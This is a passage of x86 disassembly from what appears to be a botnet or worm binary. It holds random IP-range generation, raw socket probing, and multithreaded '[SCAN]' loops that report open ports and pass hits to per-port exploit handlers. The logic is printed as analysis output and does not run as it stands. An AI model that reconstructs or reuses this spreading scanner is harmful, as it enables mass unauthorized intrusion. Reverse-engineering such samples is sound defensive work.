; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB80[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EA1BD
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		call	near ptr 71AB9639h
		nop
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44466C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 2960743h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FBBh[eax*4]
		mov	eax, dword_4491BF[eax*4]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EA1BD
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EA1BD
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAC0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAC0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444410h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EA1BD
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44443C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		call	near ptr 29B0000h
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 29B0229h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB80[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAC0
		nop
		call	near ptr 28F0000h
		push	offset dword_50DAC0
		call	near ptr 28F078Ah
		nop


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB84[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EA1BD
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491BF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491CF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491CF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		nop
		call	near ptr 2930847h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EA1BD
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB84[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB84[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB80[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB84[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAC0
		nop
		call	near ptr 28F0000h


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 29B0229h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F64
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



